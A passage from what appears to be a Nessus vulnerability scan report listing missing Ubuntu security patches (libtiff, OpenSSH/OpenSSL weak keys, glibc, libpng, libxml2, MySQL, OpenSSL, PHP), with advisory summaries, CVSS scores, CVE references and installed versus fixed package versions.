7.3 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 41088 |
| BID | 41295 |
| BID | 41475 |
| BID | 41480 |
| BID | 43366 |
| BID | 46657 |
| CVE | CVE-2010-2482 |
| CVE | CVE-2010-2595 |
| CVE | CVE-2010-2597 |
| CVE | CVE-2010-2598 |
| CVE | CVE-2010-2630 |
| CVE | CVE-2010-3087 |
| CVE | CVE-2011-0191 |
| XREF | USN:1085-2 |

## Plugin Information

Published: 2011/03/15, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.8
```

## 52581 - Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : tiff vulnerabilities (USN-1085-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sauli Pahlman discovered that the TIFF library incorrectly handled invalid td_stripbytecount fields. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. This issue only affected Ubuntu 10.04 LTS and 10.10. (CVE-2010-2482)

Sauli Pahlman discovered that the TIFF library incorrectly handled TIFF files with an invalid combination of SamplesPerPixel and Photometric values. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. This issue only affected Ubuntu 10.10. (CVE-2010-2482)

Nicolae Ghimbovschi discovered that the TIFF library incorrectly handled invalid ReferenceBlackWhite values. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. (CVE-2010-2595)

Sauli Pahlman discovered that the TIFF library incorrectly handled certain default fields. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. (CVE-2010-2597, CVE-2010-2598)

It was discovered that the TIFF library incorrectly validated certain data types. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service. (CVE-2010-2630)

It was discovered that the TIFF library incorrectly handled downsampled JPEG data. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. This issue only affected Ubuntu 10.04 LTS and 10.10. (CVE-2010-3087)

It was discovered that the TIFF library incorrectly handled certain JPEG data. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. This issue only affected Ubuntu 6.06 LTS, 8.04 LTS and 9.10. (CVE-2011-0191)

It was discovered that the TIFF library incorrectly handled certain TIFF FAX images. If a user or automated system were tricked into opening a specially crafted TIFF FAX image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. (CVE-2011-0191).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1085-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.1322

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 41088 |
| BID | 41295 |
| BID | 41475 |
| BID | 41480 |
| BID | 43366 |
| BID | 46657 |
| BID | 46658 |
| CVE | CVE-2010-2482 |
| CVE | CVE-2010-2483 |
| CVE | CVE-2010-2595 |
| CVE | CVE-2010-2597 |
| CVE | CVE-2010-2598 |
| CVE | CVE-2010-2630 |
| CVE | CVE-2010-3087 |
| CVE | CVE-2011-0191 |
| CVE | CVE-2011-0192 |
| XREF | USN:1085-1 |

### Plugin Information

Published: 2011/03/08, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.7
```

## 32359 - Ubuntu 7.04 / 7.10 / 8.04 LTS : openssh update (USN-612-5)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Matt Zimmerman discovered that entries in ~/.ssh/authorized_keys with options (such as 'no-port-forwarding' or forced commands) were ignored by the new ssh-vulnkey tool introduced in OpenSSH (see USN-612-2).

This could cause some compromised keys not to be listed in ssh-vulnkey's output.

This update also adds more information to ssh-vulnkey's manual page.

A weakness has been discovered in the random number generator used by OpenSSL on Debian and Ubuntu systems. As a result of this weakness, certain encryption keys are much more common than they should be, such that an attacker could guess the key through a brute-force attack given minimal knowledge of the system. This particularly affects the use of encryption keys in OpenSSH, OpenVPN and SSL certificates.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/612-5/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N)

## CVSS v2.0 Temporal Score

6.4 (CVSS2#E:F/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| CVE | CVE-2008-2285 |
| XREF | USN:612-5 |
| XREF | CWE:310 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2008/05/16, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : openssh-client_1:4.7p1-8ubuntu1
  - Fixed package     : openssh-client_1:4.7p1-8ubuntu1.2
```

## 65109 - Ubuntu 7.04 / 7.10 / 8.04 LTS : openssh vulnerability (USN-612-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

A weakness has been discovered in the random number generator used by OpenSSL on Debian and Ubuntu systems. As a result of this weakness, certain encryption keys are much more common than they should be, such that an attacker could guess the key through a brute-force attack given minimal knowledge of the system. This particularly affects the use of encryption keys in OpenSSH.

This vulnerability only affects operating systems which (like Ubuntu) are based on Debian. However, other systems can be indirectly affected if weak keys are imported into them.

We consider this an extremely serious vulnerability, and urge all users to act immediately to secure their systems.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/612-2/

### Solution

Update the affected openssh-client and / or openssh-server packages.

### Risk Factor

High

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N)

### CVSS v2.0 Temporal Score

6.4 (CVSS2#E:F/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| XREF | USN:612-2 |
| XREF | CWE:310 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2013/03/09, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : openssh-client_1:4.7p1-8ubuntu1
  - Fixed package     : openssh-client_1:4.7p1-8ubuntu1.1

  - Installed package : openssh-server_1:4.7p1-8ubuntu1
  - Fixed package     : openssh-server_1:4.7p1-8ubuntu1.1
```

## 32358 - Ubuntu 7.04 / 7.10 / 8.04 LTS : ssl-cert vulnerability (USN-612-4)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

USN-612-1 fixed vulnerabilities in openssl. This update provides the corresponding updates for ssl-cert -- potentially compromised snake-oil SSL certificates will be regenerated.

A weakness has been discovered in the random number generator used by OpenSSL on Debian and Ubuntu systems. As a result of this weakness, certain encryption keys are much more common than they should be, such that an attacker could guess the key through a brute-force attack given minimal knowledge of the system. This particularly affects the use of encryption keys in OpenSSH, OpenVPN and SSL certificates.

This vulnerability only affects operating systems which (like Ubuntu) are based on Debian. However, other systems can be indirectly affected if weak keys are imported into them.

We consider this an extremely serious vulnerability, and urge all users to act immediately to secure their systems.
(CVE-2008-0166)

== Who is affected ==

Systems which are running any of the following releases :

* Ubuntu 7.04 (Feisty) * Ubuntu 7.10 (Gutsy) * Ubuntu 8.04 LTS (Hardy) * Ubuntu 'Intrepid Ibex' (development): libssl <= 0.9.8g-8 * Debian 4.0 (etch) (see corresponding Debian security advisory)

and have openssh-server installed or have been used to create an OpenSSH key or X.509 (SSL) certificate.

All OpenSSH and X.509 keys generated on such systems must be considered untrustworthy, regardless of the system on which they are used, even after the update has been applied.

This includes the automatically generated host keys used by OpenSSH, which are the basis for its server spoofing and man-in-the-middle protection.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/612-4/

### Solution

Update the affected ssl-cert package.

### Risk Factor

High

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N)

### CVSS v2.0 Temporal Score

6.4 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| XREF | USN:612-4 |
| XREF | CWE:310 |

### Exploitable With

Core Impact (true)

### Plugin Information

Published: 2008/05/16, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : ssl-cert_1.0.14-0ubuntu2
  - Fixed package     : ssl-cert_1.0.14-0ubuntu2.1
```

## 37161 - Ubuntu 7.10 / 8.04 LTS : linux-ubuntu-modules-2.6.22/24 vulnerability (USN-662-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-662-1 fixed vulnerabilities in ndiswrapper in Ubuntu 8.10. This update provides the corresponding updates for Ubuntu 8.04 and 7.10.

Anders Kaseorg discovered that ndiswrapper did not correctly handle long ESSIDs. For a system using ndiswrapper, a physically near-by attacker could generate specially crafted wireless network traffic and execute arbitrary code with root privileges. (CVE-2008-4395).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/662-2/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0392

### CVSS v2.0 Base Score

8.3 (CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2008-4395 |
| XREF | USN:662-2 |
| XREF | CWE:119 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-ubuntu-modules-2.6.24-16-server_2.6.24-16.23
  - Fixed package     : linux-ubuntu-modules-2.6.24-<ANY>-server_2.6.24-21.33


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 58318 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : eglibc, glibc vulnerabilities (USN-1396-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the GNU C Library did not properly handle integer overflows in the timezone handling code. An attacker could use this to possibly execute arbitrary code by convincing an application to load a maliciously constructed tzfile. (CVE-2009-5029)

It was discovered that the GNU C Library did not properly handle passwd.adjunct.byname map entries in the Network Information Service (NIS) code in the name service caching daemon (nscd). An attacker could use this to obtain the encrypted passwords of NIS accounts. This issue only affected Ubuntu 8.04 LTS. (CVE-2010-0015)

Chris Evans reported that the GNU C Library did not properly calculate the amount of memory to allocate in the fnmatch() code. An attacker could use this to cause a denial of service or possibly execute arbitrary code via a maliciously crafted UTF-8 string. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS and Ubuntu 10.10.

(CVE-2011-1071)

Tomas Hoger reported that an additional integer overflow was possible in the GNU C Library fnmatch() code. An attacker could use this to cause a denial of service via a maliciously crafted UTF-8 string. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1659)

Dan Rosenberg discovered that the addmntent() function in the GNU C Library did not report an error status for failed attempts to write to the /etc/mtab file. This could allow an attacker to corrupt /etc/mtab, possibly causing a denial of service or otherwise manipulate mount options. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1089)

Harald van Dijk discovered that the locale program included with the GNU C library did not properly quote its output. This could allow a local attacker to possibly execute arbitrary code using a crafted localization string that was evaluated in a shell script. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS and Ubuntu 10.10.

(CVE-2011-1095)

It was discovered that the GNU C library loader expanded the $ORIGIN dynamic string token when RPATH is composed entirely of this token.

This could allow an attacker to gain privilege via a setuid program that had this RPATH value. (CVE-2011-1658)

It was discovered that the GNU C library implementation of memcpy optimized for Supplemental Streaming SIMD Extensions 3 (SSSE3) contained a possible integer overflow. An attacker could use this to cause a denial of service or possibly execute arbitrary code. This issue only affected Ubuntu 10.04 LTS. (CVE-2011-2702)

John Zimmerman discovered that the Remote Procedure Call (RPC) implementation in the GNU C Library did not properly handle large numbers of connections. This could allow a remote attacker to cause a denial of service. (CVE-2011-4609)

It was discovered that the GNU C Library vfprintf() implementation contained a possible integer overflow in the format string protection code offered by FORTIFY_SOURCE. An attacker could use this flaw in conjunction with a format string vulnerability to bypass the format string protection and possibly execute arbitrary code. (CVE-2012-0864).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1396-1/

### Solution

Update the affected libc-bin and / or libc6 packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0816

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 37885 |
| BID | 46563 |
| BID | 46740 |
| BID | 47370 |
| BID | 50898 |
| BID | 51439 |
| BID | 52201 |
| CVE | CVE-2009-5029 |
| CVE | CVE-2010-0015 |
| CVE | CVE-2011-1071 |

| | |
|---|---|
| CVE | CVE-2011-1089 |
| CVE | CVE-2011-1095 |
| CVE | CVE-2011-1658 |
| CVE | CVE-2011-1659 |
| CVE | CVE-2011-2702 |
| CVE | CVE-2011-4609 |
| CVE | CVE-2012-0864 |
| XREF | USN:1396-1 |
| XREF | CWE:255 |

## Plugin Information

Published: 2012/03/12, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu8.1
```

## 56870 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : freetype vulnerabilities (USN-1267-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that FreeType did not correctly handle certain malformed Type 1 font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

(CVE-2011-3256)

It was discovered that FreeType did not correctly handle certain malformed CID-keyed PostScript font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges. (CVE-2011-3439).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1267-1/

### Solution

Update the affected libfreetype6 package.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0337

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 50155 |
| BID | 50643 |
| CVE | CVE-2011-3256 |
| CVE | CVE-2011-3439 |
| XREF | USN:1267-1 |

## Plugin Information

Published: 2011/11/18, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.7
```

## 57998 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : libpng vulnerabilities (USN-1367-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libpng did not properly verify the embedded profile length of iCCP chunks. An attacker could exploit this to cause a denial of service via application crash. This issue only affected Ubuntu 8.04 LTS. (CVE-2009-5063)

Jueri Aedla discovered that libpng did not properly verify the size used when allocating memory during chunk decompression. If a user or automated system using libpng were tricked into opening a specially crafted image, an attacker could exploit this to cause a denial of service or execute code with the privileges of the user invoking the program. (CVE-2011-3026).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1367-1/

### Solution

Update the affected libpng12-0 package.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.3469

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 52049 |
| CVE | CVE-2009-5063 |
| CVE | CVE-2011-3026 |
| XREF | USN:1367-1 |

## Plugin Information

Published: 2012/02/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpng12-0_1.2.15~beta5-3ubuntu0.2
  - Fixed package     : libpng12-0_1.2.15~beta5-3ubuntu0.5
```

## 57615 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : libxml2 vulnerabilities (USN-1334-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libxml2 contained an off by one error. If a user or application linked against libxml2 were tricked into opening a specially crafted XML file, an attacker could cause the application to crash or possibly execute arbitrary code with the privileges of the user invoking the program. (CVE-2011-0216)

It was discovered that libxml2 is vulnerable to double-free conditions when parsing certain XML documents. This could allow a remote attacker to cause a denial of service. (CVE-2011-2821, CVE-2011-2834)

It was discovered that libxml2 did not properly detect end of file when parsing certain XML documents. An attacker could exploit this to crash applications linked against libxml2. (CVE-2011-3905)

It was discovered that libxml2 did not properly decode entity references with long names. If a user or application linked against libxml2 were tricked into opening a specially crafted XML file, an attacker could cause the application to crash or possibly execute arbitrary code with the privileges of the user invoking the program.

(CVE-2011-3919).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1334-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0248

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 48832 |
| BID | 49279 |
| BID | 49658 |
| BID | 51084 |
| BID | 51300 |
| CVE | CVE-2011-0216 |
| CVE | CVE-2011-2821 |
| CVE | CVE-2011-2834 |
| CVE | CVE-2011-3905 |
| CVE | CVE-2011-3919 |
| XREF | USN:1334-1 |

## Plugin Information

Published: 2012/01/20, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.7
```

## 58325 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : mysql-5.1, mysql-dfsg-5.0, mysql-dfsg-5.1 vulnerabilities (USN-1397-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Multiple security issues were discovered in MySQL and this update includes new upstream MySQL versions to fix these issues.

MySQL has been updated to 5.1.61 in Ubuntu 10.04 LTS, Ubuntu 10.10, Ubuntu 11.04 and Ubuntu 11.10. Ubuntu 8.04 LTS has been updated to MySQL 5.0.95.

In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

Please see the following for more information :

http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html http://www.oracle.com/technetwork/topics/security/cpujan2012-366304.ht ml.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1397-1/

### Solution

Update the affected mysql-server-5.0 and / or mysql-server-5.1 packages.

### Risk Factor

High

### VPR Score

7.4

### EPSS Score

0.7208

### CVSS v2.0 Base Score

8.5 (CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.0 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 26353 |
| BID | 29106 |
| BID | 31081 |
| BID | 31486 |
| BID | 35609 |
| BID | 37075 |
| BID | 37297 |
| BID | 37640 |
| BID | 37943 |
| BID | 38043 |
| BID | 39543 |
| BID | 40100 |
| BID | 40106 |
| BID | 40109 |
| BID | 40257 |
| BID | 41198 |
| BID | 42596 |
| BID | 42598 |
| BID | 42599 |
| BID | 42625 |
| BID | 42633 |
| BID | 42638 |
| BID | 42646 |
| BID | 43676 |
| BID | 51488 |
| BID | 51493 |
| BID | 51502 |
| BID | 51504 |
| BID | 51505 |
| BID | 51508 |
| BID | 51509 |
| BID | 51519 |
| BID | 51520 |
| BID | 51526 |
| CVE | CVE-2007-5925 |
| CVE | CVE-2008-3963 |
| CVE | CVE-2008-4098 |
| CVE | CVE-2008-4456 |

| | |
|---|---|
| CVE | CVE-2008-7247 |
| CVE | CVE-2009-2446 |
| CVE | CVE-2009-4019 |
| CVE | CVE-2009-4030 |
| CVE | CVE-2009-4484 |
| CVE | CVE-2010-1621 |
| CVE | CVE-2010-1626 |
| CVE | CVE-2010-1848 |
| CVE | CVE-2010-1849 |
| CVE | CVE-2010-1850 |
| CVE | CVE-2010-2008 |
| CVE | CVE-2010-3677 |
| CVE | CVE-2010-3678 |
| CVE | CVE-2010-3679 |
| CVE | CVE-2010-3680 |
| CVE | CVE-2010-3681 |
| CVE | CVE-2010-3682 |
| CVE | CVE-2010-3683 |
| CVE | CVE-2010-3833 |
| CVE | CVE-2010-3834 |
| CVE | CVE-2010-3835 |
| CVE | CVE-2010-3836 |
| CVE | CVE-2010-3837 |
| CVE | CVE-2010-3838 |
| CVE | CVE-2010-3839 |
| CVE | CVE-2010-3840 |
| CVE | CVE-2011-2262 |
| CVE | CVE-2012-0075 |
| CVE | CVE-2012-0087 |
| CVE | CVE-2012-0101 |
| CVE | CVE-2012-0102 |
| CVE | CVE-2012-0112 |
| CVE | CVE-2012-0113 |
| CVE | CVE-2012-0114 |
| CVE | CVE-2012-0115 |
| CVE | CVE-2012-0116 |
| CVE | CVE-2012-0117 |
| CVE | CVE-2012-0118 |
| CVE | CVE-2012-0119 |
| CVE | CVE-2012-0120 |
| CVE | CVE-2012-0484 |
| CVE | CVE-2012-0485 |
| CVE | CVE-2012-0486 |

| | |
|---|---|
| CVE | CVE-2012-0487 |
| CVE | CVE-2012-0488 |
| CVE | CVE-2012-0489 |
| CVE | CVE-2012-0490 |
| CVE | CVE-2012-0491 |
| CVE | CVE-2012-0492 |
| CVE | CVE-2012-0493 |
| CVE | CVE-2012-0494 |
| CVE | CVE-2012-0495 |
| CVE | CVE-2012-0496 |
| XREF | USN:1397-1 |
| XREF | CWE:20 |
| XREF | CWE:59 |
| XREF | CWE:79 |
| XREF | CWE:119 |
| XREF | CWE:134 |

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2012/03/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.95-0ubuntu1
```

## 57887 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : openssl vulnerabilities (USN-1357-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the elliptic curve cryptography (ECC) subsystem in OpenSSL, when using the Elliptic Curve Digital Signature Algorithm (ECDSA) for the ECDHE_ECDSA cipher suite, did not properly implement curves over binary fields. This could allow an attacker to determine private keys via a timing attack. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-1945)

Adam Langley discovered that the ephemeral Elliptic Curve Diffie-Hellman (ECDH) functionality in OpenSSL did not ensure thread safety while processing handshake messages from clients. This could allow a remote attacker to cause a denial of service via out-of-order messages that violate the TLS protocol. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04.

(CVE-2011-3210)

Nadhem Alfardan and Kenny Paterson discovered that the Datagram Transport Layer Security (DTLS) implementation in OpenSSL performed a MAC check only if certain padding is valid. This could allow a remote attacker to recover plaintext. (CVE-2011-4108)

Antonio Martin discovered that a flaw existed in the fix to address CVE-2011-4108, the DTLS MAC check failure. This could allow a remote attacker to cause a denial of service. (CVE-2012-0050)

Ben Laurie discovered a double free vulnerability in OpenSSL that could be triggered when the X509_V_FLAG_POLICY_CHECK flag is enabled.

This could allow a remote attacker to cause a denial of service. This issue only affected Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2011-4109)

It was discovered that OpenSSL, in certain circumstances involving ECDH or ECDHE cipher suites, used an incorrect modular reduction algorithm in its implementation of the P-256 and P-384 NIST elliptic curves. This could allow a remote attacker to obtain the private key of a TLS server via multiple handshake attempts. This issue only affected Ubuntu 8.04 LTS. (CVE-2011-4354)

Adam Langley discovered that the SSL 3.0 implementation in OpenSSL did not properly initialize data structures for block cipher padding. This could allow a remote attacker to obtain sensitive information.

(CVE-2011-4576)

Andrew Chi discovered that OpenSSL, when RFC 3779 support is enabled, could trigger an assert when handling an X.509 certificate containing certificate-extension data associated with IP address blocks or Autonomous System (AS) identifiers. This could allow a remote attacker to cause a denial of service. (CVE-2011-4577)

Adam Langley discovered that the Server Gated Cryptography (SGC) implementation in OpenSSL did not properly handle handshake restarts.

This could allow a remote attacker to cause a denial of service.

(CVE-2011-4619)

Andrey Kulikov discovered that the GOST block cipher engine in OpenSSL did not properly handle invalid parameters. This could allow a remote attacker to cause a denial of service via crafted data from a TLS client. This issue only affected Ubuntu 11.10. (CVE-2012-0027).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/1357-1/

## Solution

Update the affected libssl0.9.8, libssl1.0.0 and / or openssl packages.

## Risk Factor

High

## VPR Score

5.9

## EPSS Score

0.0721

## CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 47888 |
| BID | 49471 |
| BID | 50882 |
| BID | 51281 |
| BID | 51563 |
| CVE | CVE-2011-1945 |
| CVE | CVE-2011-3210 |
| CVE | CVE-2011-4108 |
| CVE | CVE-2011-4109 |
| CVE | CVE-2011-4354 |
| CVE | CVE-2011-4576 |
| CVE | CVE-2011-4577 |
| CVE | CVE-2011-4619 |

| | |
|---|---|
| CVE | CVE-2012-0027 |
| CVE | CVE-2012-0050 |
| XREF | USN:1357-1 |

## Plugin Information

Published: 2012/02/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.15
```

## 57932 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : php5 regression (USN-1358-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN 1358-1 fixed multiple vulnerabilities in PHP. The fix for CVE-2012-0831 introduced a regression where the state of the magic_quotes_gpc setting was not correctly reflected when calling the ini_get() function.

We apologize for the inconvenience.

It was discovered that PHP computed hash values for form parameters without restricting the ability to trigger hash collisions predictably. This could allow a remote attacker to cause a denial of service by sending many crafted parameters. (CVE-2011-4885)

ATTENTION: this update changes previous PHP behavior by limiting the number of external input variables to 1000.

This may be increased by adding a 'max_input_vars' directive to the php.ini configuration file. See http://www.php.net/manual/en/info.configuration.php#ini.max- input-vars for more information.

Stefan Esser discovered that the fix to address the predictable hash collision issue, CVE-2011-4885, did not properly handle the situation where the limit was reached.

This could allow a remote attacker to cause a denial of service or execute arbitrary code via a request containing a large number of variables. (CVE-2012-0830)

It was discovered that PHP did not always check the return value of the zend_strndup function. This could allow a remote attacker to cause a denial of service.

(CVE-2011-4153)

It was discovered that PHP did not properly enforce libxslt security settings. This could allow a remote attacker to create arbitrary files via a crafted XSLT stylesheet that uses the libxslt output extension. (CVE-2012-0057)

It was discovered that PHP did not properly enforce that PDORow objects could not be serialized and not be saved in a session. A remote attacker could use this to cause a denial of service via an application crash. (CVE-2012-0788)

It was discovered that PHP allowed the magic_quotes_gpc setting to be disabled remotely. This could allow a remote attacker to bypass restrictions that could prevent a SQL injection. (CVE-2012-0831)

USN 1126-1 addressed an issue where the /etc/cron.d/php5 cron job for PHP allowed local users to delete arbitrary files via a symlink attack on a directory under /var/lib/php5/. Emese Revfy discovered that the fix had not been applied to PHP for Ubuntu 10.04 LTS. This update corrects the issue. We apologize for the error.

(CVE-2011-0441).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1358-2/

## Solution

Update the affected packages.

## Risk Factor

High

